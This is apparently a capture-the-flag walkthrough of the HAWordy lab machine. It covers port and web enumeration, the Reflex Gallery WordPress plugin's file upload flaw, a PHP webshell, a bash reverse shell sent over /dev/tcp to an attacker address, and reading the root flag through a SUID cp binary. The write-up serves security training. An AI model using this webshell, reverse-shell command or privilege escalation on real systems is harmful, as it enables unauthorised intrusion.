![[Offensive Security] Proving Grounds - HAWordy](https://cdn.hashnode.com/res/hashnode/image/upload/v1657805077066/04ggnSnoc.png?w=1600&h=840&fit=crop&crop=entropy&auto=compress,format&format=webp)
[Offensive Security] Proving Grounds - HAWordy
https://portal.offensive-security.com/proving-grounds/play https://www.vulnhub.com/entry/ha-wordy,363/
A beginner machine with multiple paths. Only
local.txtandproof.txtare valid flags.
Footprint
Open ports
Nmap scan:
kali@kali:~$ sudo nmap -sS -Pn -v10 -p- -oA syn_full 192.168.207.23
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
NSE scan:
kali@kali:~$ sudo nmap -sC -sV -p$(grep -oP '^\d*(?=/)(?=.* open )' syn_full.nmap |sort -u |tr '\n' ',' |grep -oP '.*(?=,)') -Pn -v10 -sF -oA vuln
PORT STATE SERVICE REASON VERSION
80/tcp open http tcp-response Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
HTTP
ffuf can be used to enumerate the web server's resources:
kali@kali:~$ for w in /usr/share/seclists/Discovery/Web-Content/common.txt /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt; do ffuf -v -c -u http://192.168.207.23/FUZZ -t 50 -w $w -fs 0; done
"http://192.168.207.23/index.html"
"http://192.168.207.23/info.php"
"http://192.168.207.23/javascript"
"http://192.168.207.23/notes.txt"
"http://192.168.207.23/wordpress"
Let's look at notes.txt and info.php:
>>>
GET /notes.txt HTTP/1.1
Host: 192.168.207.23
<<<
You Need to ZIP Your Wayout
>>>
GET /info.php HTTP/1.1
Host: 192.168.207.23
<<<
192.168.207.23
Norhing really interesting.
Reflex Gallery plugin
A Wordpress scan shows that the plugin Reflex Gallery is outdated:
kali@kali:~$ wpscan --url http://192.168.207.23/wordpress/
[+] reflex-gallery
| Location: http://192.168.207.23/wordpress/wp-content/plugins/reflex-gallery/
| Last Updated: 2021-03-10T02:38:00.000Z
| [!] The version is out of date, the latest version is 3.1.7
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 3.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.207.23/wordpress/wp-content/plugins/reflex-gallery/readme.txt
And this plugin might be vulnerable to Arbitrary File Upload:
kali@kali:~$ searchsploit wordpress reflex gallery
WordPress Plugin Reflex Gallery - Arbitrary File Upload (Metasploit) | php/remote/36809.rb
WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload | php/webapps/36374.txt
kali@kali:~$ searchsploit -x php/webapps/36374.txt
# Path : wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php
# add Month and Year in GET for Folder of Shell ./wp-content/uploads/" .$_GET['Year'].'/'.$_GET['Month']. "
# Exploit :
Vulnerable File : php.php
50. if(!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path)){
173. $result = $uploader->handleUpload('../../../../../uploads/'.$_GET['Year'].'/'.$_GET['Month'].'/');
<form method="POST" action="http://127.0.0.1:1337/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2015&Month=03" enctype="multipart/form-data" >
<input type="file" name="qqfile"><br>
<input type="submit" name="Submit" value="Pwn!">
</form>
Knowing that the uploaded files are saved in 192.168.207.23/wordpress/wp-content/uploads, we can host the following page locally:
<form method="POST" action="http://192.168.207.23/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2022&Month=03" enctype="multipart/form-data" >
<input type="file" name="qqfile"><br>
<input type="submit" name="Submit" value="Pwn!">
</form>
Open it:
kali@kali:~$ php -S 127.0.0.1:48080
kali@kali:~$ firefox http://127.0.0.1:48080/reflex_gallery.html
And upload a webshell:
kali@kali:~$ cat webshell.php
<?php echo system($_GET['c'])?>
To get an RCE in the server:
>>>
GET /wordpress/wp-content/uploads/2022/03/webshell.php?c=id HTTP/1.1
Host: 192.168.207.23
<<<
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shelled :]
kali@kali:~$ nc -nlvp 48888
listening on [any] 48888 ...
kali@kali:~$ curl "http://192.168.207.23/wordpress/wp-content/uploads/2022/03/webshell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.49.207/48888+0>%261'"
connect to [192.168.49.207] from (UNKNOWN) [192.168.207.23] 59574
bash: cannot set terminal process group (777): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/wordpress/wp-content/uploads/2022/03$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
local.txt
The user flag is readable by anyone in raj's folder:
www-data@ubuntu:/$ ls -la /home/raj
-rw------- 1 raj raj 6678 Jul 22 2020 .ICEauthority
-rw------- 1 raj raj 3 Jul 22 2020 .bash_history
-rw-r--r-- 1 raj raj 220 Sep 8 2019 .bash_logout
-rw-r--r-- 1 raj raj 3771 Sep 8 2019 .bashrc
drwx------ 17 raj raj 4096 Sep 9 2019 .cache
drwx------ 15 raj raj 4096 Sep 9 2019 .config
drwx------ 3 root root 4096 Sep 9 2019 .dbus
drwx------ 3 raj raj 4096 Sep 9 2019 .gnupg
drwx------ 2 root root 4096 Sep 9 2019 .gvfs
drwx------ 3 raj raj 4096 Sep 8 2019 .local
drwx------ 5 raj raj 4096 Sep 8 2019 .mozilla
-rw------- 1 root root 39 Sep 9 2019 .mysql_history
-rw-r--r-- 1 raj raj 807 Sep 8 2019 .profile
drwx------ 2 raj raj 4096 Sep 9 2019 .ssh
-rw-r--r-- 1 raj raj 0 Feb 21 2020 .sudo_as_admin_successful
drwxr-xr-x 2 raj raj 4096 Sep 9 2019 Desktop
drwxr-xr-x 2 raj raj 4096 Sep 8 2019 Documents
drwxr-xr-x 2 raj raj 4096 Sep 9 2019 Downloads
drwxr-xr-x 2 raj raj 4096 Sep 8 2019 Music
drwxr-xr-x 2 raj raj 4096 Sep 8 2019 Pictures
drwxr-xr-x 2 raj raj 4096 Sep 8 2019 Public
drwxr-xr-x 2 raj raj 4096 Sep 8 2019 Templates
drwxr-xr-x 2 raj raj 4096 Sep 8 2019 Videos
-rw-r--r-- 1 raj raj 8980 Sep 8 2019 examples.desktop
-rw-r--r-- 1 www-data www-data 32 Jul 13 2020 flag1.txt
-rw-r--r-- 1 raj raj 33 Mar 30 11:13 local.txt
drwxr-xr-x 2 root root 4096 Sep 9 2019 plugin
www-data@ubuntu:/$ cat /home/raj/flag1.txt
Your flag is in another file...
www-data@ubuntu:/$ cat /home/raj/local.txt
20[...]50
proof.txt
The root is pretty straightforward as well. We need to exploit the cp command, as the SUID sticky bit is set:
www-data@ubuntu:/$ find / -perm -u=s -type f -print 2>/dev/null
/usr/sbin/pppd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/arping
/usr/bin/wget
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping
/bin/cp
/bin/su
www-data@ubuntu:/tmp$ LFILE=/root/proof.txt
www-data@ubuntu:/tmp$ cp "$LFILE" proof.txt && cat proof.txt
6d[...]58
Even if we didn't list the /root files, we know the root flag is in proof.txt, as the lab's description says:
Only
local.txtandproof.txtare valid flags.